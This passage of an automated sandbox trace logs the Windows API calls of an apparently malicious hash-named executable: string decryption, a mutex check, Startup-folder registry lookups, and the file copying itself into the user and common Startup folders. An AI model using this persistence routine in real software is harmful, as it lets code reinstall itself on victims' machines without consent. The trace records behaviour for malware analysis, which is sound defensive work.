lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0132.966] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14c8 | out: hHeap=0x1d0000) returned 1 [0132.966] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d14a0 [0132.966] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef718*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef780 | out: phKey=0x3ef780*=0x8454d8) returned 1 [0132.966] CryptSetKeyParam (hKey=0x8454d8, dwParam=0x1, pbData=0x3ef768, dwFlags=0x0) returned 1 [0132.966] CryptDecrypt (in: hKey=0x8454d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x3ef734 | out: pbData=0x1d14a0, pdwDataLen=0x3ef734) returned 1 [0132.966] CryptDestroyKey (hKey=0x8454d8) returned 1 [0132.966] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d14e8 [0132.966] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x0 [0132.966] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF00") returned 0x88 [0132.966] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0132.967] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0132.967] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14e8 | out: hHeap=0x1d0000) returned 1 [0132.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xad2019, lpParameter=0x3ef854, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90 [0132.969] Sleep (dwMilliseconds=0x1388) [0138.449] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d14a0 [0138.449] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef738 | out: phKey=0x3ef738*=0x871b20) returned 1 [0138.449] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef720, dwFlags=0x0) returned 1 [0138.449] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x3ef6ec | out: pbData=0x1d14a0, pdwDataLen=0x3ef6ec) returned 1 [0138.449] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.449] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d14c8 [0138.449] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d14f0 [0138.449] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1518 [0138.449] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6a8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef710 | out: phKey=0x3ef710*=0x871b20) returned 1 [0138.449] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef6f8, dwFlags=0x0) returned 1 [0138.449] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1518, pdwDataLen=0x3ef6c4 | out: pbData=0x1d1518, pdwDataLen=0x3ef6c4) returned 1 [0138.449] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.450] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1518 | out: hHeap=0x1d0000) returned 1 [0138.450] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0138.450] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14f0 | out: hHeap=0x1d0000) returned 1 [0138.451] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0138.451] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3ef778, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3ef778*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0138.452] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14c8 | out: hHeap=0x1d0000) returned 1 [0138.452] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d14a0 [0138.452] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef704*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef76c | out: phKey=0x3ef76c*=0x871b20) returned 1 [0138.452] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef754, dwFlags=0x0) returned 1 [0138.452] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x3ef720 | out: pbData=0x1d14a0, pdwDataLen=0x3ef720) returned 1 [0138.452] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.452] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d14e8 [0138.452] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0xd0 [0138.452] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0x0) returned 0x102 [0138.452] CloseHandle (hObject=0xd0) returned 1 [0138.452] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0138.453] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14e8 | out: hHeap=0x1d0000) returned 1 [0138.453] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x60) returned 0x1d14a0 [0138.453] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef728*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef790 | out: phKey=0x3ef790*=0x871b20) returned 1 [0138.453] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef778, dwFlags=0x0) returned 1 [0138.453] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x3ef744 | out: pbData=0x1d14a0, pdwDataLen=0x3ef744) returned 1 [0138.453] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.453] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d1508 [0138.453] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef700*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef768 | out: phKey=0x3ef768*=0x871b20) returned 1 [0138.453] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef750, dwFlags=0x0) returned 1 [0138.453] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1508, pdwDataLen=0x3ef71c | out: pbData=0x1d1508, pdwDataLen=0x3ef71c) returned 1 [0138.453] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.453] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d1530 [0138.453] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d1558 [0138.453] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1580 [0138.453] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef740 | out: phKey=0x3ef740*=0x871b20) returned 1 [0138.453] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef728, dwFlags=0x0) returned 1 [0138.453] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1580, pdwDataLen=0x3ef6f4 | out: pbData=0x1d1580, pdwDataLen=0x3ef6f4) returned 1 [0138.453] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.454] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1580 | out: hHeap=0x1d0000) returned 1 [0138.454] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x1d1530, nSize=0xf | out: lpDst="") returned 0x21 [0138.454] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1558 | out: hHeap=0x1d0000) returned 1 [0138.454] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d1530, Size=0x3a) returned 0x1d1530 [0138.454] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x3a) returned 0x1d1578 [0138.454] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d15c0 [0138.454] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef73c | out: phKey=0x3ef73c*=0x871b20) returned 1 [0138.454] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef724, dwFlags=0x0) returned 1 [0138.454] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d15c0, pdwDataLen=0x3ef6f0 | out: pbData=0x1d15c0, pdwDataLen=0x3ef6f0) returned 1 [0138.454] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.454] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d15c0 | out: hHeap=0x1d0000) returned 1 [0138.454] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x1d1530, nSize=0x1d | out: lpDst="") returned 0x21 [0138.455] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1578 | out: hHeap=0x1d0000) returned 1 [0138.455] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d1530, Size=0x72) returned 0x1d1530 [0138.455] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x72) returned 0x1d15b0 [0138.455] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1630 [0138.455] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef73c | out: phKey=0x3ef73c*=0x871b20) returned 1 [0138.455] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef724, dwFlags=0x0) returned 1 [0138.455] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1630, pdwDataLen=0x3ef6f0 | out: pbData=0x1d1630, pdwDataLen=0x3ef6f0) returned 1 [0138.455] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.455] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1630 | out: hHeap=0x1d0000) returned 1 [0138.455] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x1d1530, nSize=0x39 | out: lpDst="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x21 [0138.456] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d15b0 | out: hHeap=0x1d0000) returned 1 [0138.456] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1508 | out: hHeap=0x1d0000) returned 1 [0138.456] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d15b0 [0138.456] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6fc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef764 | out: phKey=0x3ef764*=0x871b20) returned 1 [0138.456] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef74c, dwFlags=0x0) returned 1 [0138.456] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d15b0, pdwDataLen=0x3ef718 | out: pbData=0x1d15b0, pdwDataLen=0x3ef718) returned 1 [0138.456] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.456] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x3e) returned 0x1d15f8 [0138.456] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x3e) returned 0x1d1640 [0138.456] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1688 [0138.456] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef73c | out: phKey=0x3ef73c*=0x871b20) returned 1 [0138.456] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef724, dwFlags=0x0) returned 1 [0138.456] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1688, pdwDataLen=0x3ef6f0 | out: pbData=0x1d1688, pdwDataLen=0x3ef6f0) returned 1 [0138.457] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.457] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1d1508 [0138.457] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3ef6b8 | out: phkResult=0x3ef6b8*=0xd0) returned 0x0 [0138.457] RegQueryValueExW (in: hKey=0xd0, lpValueName="Startup", lpReserved=0x0, lpType=0x3ef6b4, lpData=0x1d1640, lpcbData=0x3ef6bc*=0x3e | out: lpType=0x3ef6b4*=0x2, lpData=0x1d1640*=0xf0, lpcbData=0x3ef6bc*=0x98) returned 0xea [0138.457] RegCloseKey (hKey=0xd0) returned 0x0 [0138.457] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1508 | out: hHeap=0x1d0000) returned 1 [0138.457] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1688 | out: hHeap=0x1d0000) returned 1 [0138.457] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1640 | out: hHeap=0x1d0000) returned 1 [0138.458] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d15f8, Size=0x7a) returned 0x1d15f8 [0138.458] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x7a) returned 0x1d1680 [0138.458] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1708 [0138.458] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef738 | out: phKey=0x3ef738*=0x871b20) returned 1 [0138.458] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef720, dwFlags=0x0) returned 1 [0138.458] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1708, pdwDataLen=0x3ef6ec | out: pbData=0x1d1708, pdwDataLen=0x3ef6ec) returned 1 [0138.458] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.458] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1d1508 [0138.458] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3ef6b4 | out: phkResult=0x3ef6b4*=0xd0) returned 0x0 [0138.458] RegQueryValueExW (in: hKey=0xd0, lpValueName="Startup", lpReserved=0x0, lpType=0x3ef6b0, lpData=0x1d1680, lpcbData=0x3ef6b8*=0x7a | out: lpType=0x3ef6b0*=0x2, lpData=0x1d1680*=0xf0, lpcbData=0x3ef6b8*=0x98) returned 0xea [0138.458] RegCloseKey (hKey=0xd0) returned 0x0 [0138.458] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1508 | out: hHeap=0x1d0000) returned 1 [0138.458] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1708 | out: hHeap=0x1d0000) returned 1 [0138.459] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1680 | out: hHeap=0x1d0000) returned 1 [0138.459] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d15f8, Size=0xf2) returned 0x1d15f8 [0138.459] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0xf2) returned 0x1d4ff0 [0138.459] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d16f8 [0138.459] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef738 | out: phKey=0x3ef738*=0x871b20) returned 1 [0138.459] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef720, dwFlags=0x0) returned 1 [0138.459] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16f8, pdwDataLen=0x3ef6ec | out: pbData=0x1d16f8, pdwDataLen=0x3ef6ec) returned 1 [0138.459] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.459] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1d1508 [0138.459] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3ef6b4 | out: phkResult=0x3ef6b4*=0xd0) returned 0x0 [0138.459] RegQueryValueExW (in: hKey=0xd0, lpValueName="Startup", lpReserved=0x0, lpType=0x3ef6b0, lpData=0x1d4ff0, lpcbData=0x3ef6b8*=0xf2 | out: lpType=0x3ef6b0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x3ef6b8*=0x98) returned 0x0 [0138.459] RegCloseKey (hKey=0xd0) returned 0x0 [0138.459] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1508 | out: hHeap=0x1d0000) returned 1 [0138.459] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d1508 [0138.459] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3ef6b4 | out: phkResult=0x3ef6b4*=0xd0) returned 0x0 [0138.460] RegQueryValueExW (in: hKey=0xd0, lpValueName="Common Startup", lpReserved=0x0, lpType=0x3ef6b0, lpData=0x1d5088, lpcbData=0x3ef6b8*=0x5a | out: lpType=0x3ef6b0*=0x0, lpData=0x1d5088*=0x0, lpcbData=0x3ef6b8*=0x5a) returned 0x2 [0138.460] RegCloseKey (hKey=0xd0) returned 0x0 [0138.460] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3ef6c8 | out: phkResult=0x3ef6c8*=0xd0) returned 0x0 [0138.460] RegQueryValueExW (in: hKey=0xd0, lpValueName="Common Startup", lpReserved=0x0, lpType=0x3ef6c4, lpData=0x1d5088, lpcbData=0x3ef6cc*=0x5a | out: lpType=0x3ef6c4*=0x2, lpData=0x1d5088*=0x0, lpcbData=0x3ef6cc*=0x78) returned 0xea [0138.460] RegCloseKey (hKey=0xd0) returned 0x0 [0138.460] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1508 | out: hHeap=0x1d0000) returned 1 [0138.460] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16f8 | out: hHeap=0x1d0000) returned 1 [0138.461] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d4ff0 | out: hHeap=0x1d0000) returned 1 [0138.461] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d15f8, Size=0x1e2) returned 0x1d4ff0 [0138.461] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e2) returned 0x1d51e0 [0138.461] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d15f8 [0138.461] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef738 | out: phKey=0x3ef738*=0x871b20) returned 1 [0138.461] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef720, dwFlags=0x0) returned 1 [0138.461] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d15f8, pdwDataLen=0x3ef6ec | out: pbData=0x1d15f8, pdwDataLen=0x3ef6ec) returned 1 [0138.461] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.461] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1d1508 [0138.461] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3ef6b4 | out: phkResult=0x3ef6b4*=0xd0) returned 0x0 [0138.461] RegQueryValueExW (in: hKey=0xd0, lpValueName="Startup", lpReserved=0x0, lpType=0x3ef6b0, lpData=0x1d51e0, lpcbData=0x3ef6b8*=0x1e2 | out: lpType=0x3ef6b0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x3ef6b8*=0x98) returned 0x0 [0138.462] RegCloseKey (hKey=0xd0) returned 0x0 [0138.462] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1508 | out: hHeap=0x1d0000) returned 1 [0138.462] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d1508 [0138.462] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3ef6b4 | out: phkResult=0x3ef6b4*=0xd0) returned 0x0 [0138.462] RegQueryValueExW (in: hKey=0xd0, lpValueName="Common Startup", lpReserved=0x0, lpType=0x3ef6b0, lpData=0x1d5278, lpcbData=0x3ef6b8*=0x14a | out: lpType=0x3ef6b0*=0x0, lpData=0x1d5278*=0x0, lpcbData=0x3ef6b8*=0x14a) returned 0x2 [0138.462] RegCloseKey (hKey=0xd0) returned 0x0 [0138.462] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3ef6c8 | out: phkResult=0x3ef6c8*=0xd0) returned 0x0 [0138.462] RegQueryValueExW (in: hKey=0xd0, lpValueName="Common Startup", lpReserved=0x0, lpType=0x3ef6c4, lpData=0x1d5278, lpcbData=0x3ef6cc*=0x14a | out: lpType=0x3ef6c4*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x3ef6cc*=0x78) returned 0x0 [0138.462] RegCloseKey (hKey=0xd0) returned 0x0 [0138.462] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1508 | out: hHeap=0x1d0000) returned 1 [0138.462] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d15f8 | out: hHeap=0x1d0000) returned 1 [0138.463] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x1d4ff0, nSize=0xf1 | out: lpDst="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8e [0138.463] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d51e0 | out: hHeap=0x1d0000) returned 1 [0138.463] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d15b0 | out: hHeap=0x1d0000) returned 1 [0138.463] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x1d15b0 [0138.463] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x1d51e0 [0138.463] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x1d53f8 [0138.463] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x1d5610 [0138.463] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d15b0, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x65 [0138.463] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x1d5828 [0138.463] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d5828, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x65 [0138.464] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5828 | out: hHeap=0x1d0000) returned 1 [0138.464] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x1d5828 [0138.464] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d5828, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x65 [0138.464] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5828 | out: hHeap=0x1d0000) returned 1 [0138.464] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), bFailIfExists=0) returned 0 [0138.466] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x11e) returned 0x1d5828 [0138.466] GetLastError () returned 0x20 [0138.466] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), lpNewFileName="c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), bFailIfExists=1) returned 0 [0138.467] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start 